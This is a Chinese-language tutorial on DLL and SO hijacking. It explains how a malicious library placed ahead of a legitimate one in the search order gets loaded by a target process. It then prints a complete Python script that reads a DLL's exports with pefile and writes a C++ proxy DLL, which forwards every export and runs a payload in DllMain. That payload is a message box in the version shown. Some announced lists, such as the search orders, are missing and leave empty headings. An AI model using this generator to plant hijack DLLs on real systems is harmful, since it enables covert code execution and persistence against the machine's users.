DLL(Dynamic-link library)是Windows操作系统上实现的共享库,又称动态链接库。DLL 的文件格式与 EXE 文件的文件格式相同,即还是32位和64位Windows的可移植可执行文件(PE文件)。
SO 是Linux操作系统上实现的共享库,又称动态链接库。SO 的文件格式是32位和64位Linux的可移植可执行文件(ELF文件)。
动态链接库的作用,为程序提供导入函数以实现共享开发者代码,其在进程需要调用某个导入函数时进行动态链接将整个库文件加载进内存中。
那什么是dll劫持?
黑客通过将原本要加载的目标动态链接库用自己恶意编写的dll文件去替换,就可以让目标进程加载黑客的动态链接库,从而执行动态链接库中的恶意代码,达到攻击的目的。
黑客编写的恶意dll或so文件需要满足以下要求:
PS:可以在库中添加额外的函数。
当然我们也可以在不删除目标dll文件或方便操作的目的,根据进程寻找dll所在目录的顺序来放置我们的恶意dll文件,只要我们的恶意dll文件在目标dll文件之前被进程找到,也可以达到劫持目的。
Windows中,进程寻找dll文件所在目录顺序:
PS:在注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs不能在系统目录以外被加载。
同理。
Linux中,进程寻找so文件所在目录顺序:
劫持的目的就是运行我们自己的dll或so文件。
将劫持dll文件放到原dll文件所在目录,而原dll则移到一个不会干扰的目录即可。
关于劫持dll的生成,我们可以自己手动编写,也可以通过使用工具辅助生成。
工具辅助思路:根据获取的所有导入函数生成一个.c或.cpp文件,生成的转发函数如下:
extern "C" __declspec(naked) void __cdecl 目标函数名(void) { __asm POP dwReturnAddress; GetAddress("目标函数名")(); __asm JMP dwReturnAddress; }
再通过对编译器设置函数转发,实现函数转发,如:
#pragma comment(linker, "/EXPORT:main=_DLLHijacker_main,@5")
贴上我自己参考https://github.com/zhaoed/DLL_Hijacker-1/修改后的脚本:
import os,sys,time import pefile def main(): pe = pefile.PE(sys.argv[1]) exportTable = pe.DIRECTORY_ENTRY_EXPORT.symbols print("[!]Find export function :[ %d ]\r\n" % len(exportTable)) for exptab in exportTable: print("%3s %10s" % (exptab.ordinal, exptab.name)) print("\r\n[+] generating DLL Hijack cpp file ...") generate(exportTable) print("\r\n[+] generating DLL Hijack cpp file has finished!") def generate(exportTable): segments = r"//Generate by DLLHijacker.py\ \ #include <Windows.h>\ \ DEFINE_DLL_EXPORT_FUNC\ #define EXTERNC extern \"C\"\ #define NAKED __declspec(naked)\ #define EXPORT __declspec(dllexport)\ #define ALCPP EXPORT NAKED\ #define ALSTD EXTERNC EXPORT NAKED void __stdcall\ #define ALCDECL EXTERNC NAKED void __cdecl\ \ namespace DLLHijacker\ {\ HMODULE m_hModule = NULL;\ DWORD dwReturnAddress;\ inline BOOL WINAPI Load()\ {\ TCHAR tzPath[MAX_PATH];\ lstrcpy(tzPath, TEXT(\"DLL_FILENAME.dll\"));\ m_hModule = LoadLibrary(tzPath);\ if (m_hModule == NULL)\ return FALSE;\ return (m_hModule != NULL);\ }\ inline VOID WINAPI Free()\ {\ if (m_hModule)\ FreeLibrary(m_hModule);\ }\ FARPROC WINAPI GetAddress(PCSTR pszProcName)\ {\ FARPROC fpAddress;\ CHAR szProcName[16];\ fpAddress = GetProcAddress(m_hModule, pszProcName);\ if (fpAddress == NULL)\ {\ if (HIWORD(pszProcName) == 0)\ {\ wsprintf(szProcName, \"%d\", pszProcName);\ pszProcName = szProcName;\ }\ ExitProcess(-2);\ }\ return fpAddress;\ }\ }\ using namespace DLLHijacker;\ VOID Hijack()\ {\ MessageBoxW(NULL, L\"DLL Hijack! by DLLHijacker\", L\":)\", 0);\ }\ BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)\ {\ if (dwReason == DLL_PROCESS_ATTACH)\ {\ DisableThreadLibraryCalls(hModule);\ if(Load())\ Hijack();\ }\ else if (dwReason == DLL_PROCESS_DETACH)\ {\ Free();\ }\ return TRUE;\ }\ " filename = sys.argv[1] fp = open(filename + ".cpp", "w+") define_dll_exp_func = "" for exptable in exportTable: define_dll_exp_func += r"#pragma comment(linker, \"/EXPORT:" + str(exptable.name, encoding = "utf-8") +\ "=_DLLHijacker_" + str(exptable.name, encoding = "utf-8") + ",@"+ str(exptable.ordinal) +"\")\n" segments = segments.replace('DLL_FILENAME', filename) segments = segments.replace("DEFINE_DLL_EXPORT_FUNC", define_dll_exp_func).replace('\\','') fp.writelines(segments) forward_dll_exp_func = "" for exptable in exportTable: forward_dll_exp_func += "ALCDECL DLLHijacker_"+ str(exptable.name, encoding = "utf-8") +"(void)\n{" + \ "\n __asm POP dwReturnAddress;\n GetAddress(\""+ \ str(exptable.name, encoding = "utf-8") + "\")();\n __asm JMP dwReturnAddress;\n}\r\n" fp.writelines(forward_dll_exp_func) fp.close() def usage(): print("Usage:") print(" %s 目标.dll" % sys.argv[0]) if __name__ == "__main__": if(len(sys.argv) <2): usage() else: main()